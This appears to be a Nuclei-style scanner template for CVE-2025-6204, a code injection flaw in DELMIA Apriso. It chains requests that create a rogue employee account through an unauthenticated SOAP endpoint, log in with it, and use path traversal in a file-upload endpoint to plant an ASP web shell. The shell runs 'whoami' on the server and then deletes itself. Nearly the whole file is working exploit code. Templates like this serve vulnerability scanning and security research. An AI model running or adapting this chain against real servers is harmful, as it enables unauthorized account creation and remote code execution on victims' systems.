id: CVE-2025-6204
info:
name: "Delmia - Code Injection"
author: vedas-arpsyndicate
severity: critical
description: |
An Improper Control of Generation of Code (Code Injection) vulnerability affecting DELMIA Apriso from Release
2020 through Release 2025 could allow an attacker to execute arbitrary code.
reference:
- https://www.exploit.observer/?keyword=CVE-2025-6204&match=exact
- https://subdomain.center/?engine=ammonites&keyword=delmia&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2025-6204
cwe-id: CWE-94
metadata:
verified: false
tags: cve,cve2025,delmia,apriso,rce,traversal,upload,intrusive,vuln,kev,vkev
flow: http(1) && http(2) && http(3) && http(4) && http(5)
variables:
filename: "{{randbase(5)}}"
username: "LAST"
password: "9"
http:
- raw:
- |-
POST /Apriso/MessageProcessor/FlexNetMessageProcessor.svc HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml;charset=utf-8
Soapaction: "http://tempuri.org/IFlexNetMessageProcessor/ProcessMessageASync_v2"
<FlexNet_Employees xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="S:/SchemaRepository/XMLSchemas/FlexNet/FlexNet_Employees.xsd" Version="1.0">
<Employee>
<GivenName>FIRST</GivenName>
<FamilyName>LAST</FamilyName>
<EmployeeNo>08262004</EmployeeNo>
<LoginName>{{username}}</LoginName>
<Password>{{password}}</Password>
<HireDate>2000-06-01T00:00:00</HireDate>
<SpokenLanguageID>1033</SpokenLanguageID>
<WrittenLanguageID>1033</WrittenLanguageID>
<EmployeeValidDate>2000-06-01T00:00:00</EmployeeValidDate>
<LoginExpirationDate>9999-12-31T00:00:00</LoginExpirationDate>
<EmployeeType>0</EmployeeType>
<DefaultFacility>C1P1</DefaultFacility>
<TrackLaborFlag>true</TrackLaborFlag>
<ResourceID NodeType="Field">
<Resource_Insert>
<Name>FIRST</Name>
<ResourceName>FIRST</ResourceName>
<ResourceType>1</ResourceType>
<FUID NodeType="Field"/>
</Resource_Insert>
</ResourceID>
<EmployeeRole>
<EmployeeID NodeType="Field"/>
<RoleID NodeType="Field">
<Role>
<Role>Production User</Role>
</Role>
</RoleID>
</EmployeeRole>
</Employee>
</FlexNet_Employees>
myExternalApplication
matchers:
- type: word
part: body
words:
- ProcessMessageASync_v2Response
- true
condition: and
internal: true
- raw:
- |
GET /Apriso/Portal/Kiosk/Login.aspx HTTP/1.1
Host: {{Hostname}}
redirects: true
extractors:
- type: regex
part: body
name: viewstate
group: 1
regex:
- '__VIEWSTATE" value="(.*?)"'
internal: true
- type: regex
part: body
name: eventval
group: 1
regex:
- '__EVENTVALIDATION" value="(.*?)"'
internal: true
- type: regex
part: body
name: viewgen
group: 1
regex:
- '__VIEWSTATEGENERATOR" value="(.*?)"'
internal: true
- raw:
- |-
POST /Apriso/Portal/Kiosk/Login.aspx?BackToStartPage=true HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE={{urlencode(viewstate)}}&__VIEWSTATEGENERATOR={{viewgen}}&__EVENTVALIDATION={{urlencode(eventval)}}&ctl04%24LoginTextBox={{username}}&ctl04%24PasswordTextbox={{password}}&ctl04%24LogInButton=Log+In&ctl04%24HiddenValue=Initial+Value&ctl04%24HiddenValue2=Initial+Value
matchers:
- type: dsl
dsl:
- status_code == 302
internal: true
# Self-deleteable ASP POC File
- raw:
- |
POST /Apriso/webservices/1.1/operation.svc/UploadFile?filename=375c9638-1a4e-465d-90d7-f69321315acb-xxx\..\..\..\portal\Uploads\{{filename}}.asp HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
<%
Response.Write "{{randstr}}" & "
"
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c whoami")
o = cmd.StdOut.Readall()
Response.write(o)
Set fso = Server.CreateObject("Scripting.FileSystemObject")
fso.DeleteFile Server.MapPath(Request.ServerVariables("SCRIPT_NAME")), True
Set fso = Nothing
%>
matchers:
- type: word
part: body
words:
- Uploads
- ResultMessage
- FilePath
- Success
- "{{filename}}.asp"
condition: and
internal: true
- raw:
- |
GET /Apriso/Portal/Uploads/{{filename}}.asp HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "{{randstr}}"
extractors:
- type: regex
group: 1
regex:
-
(.*)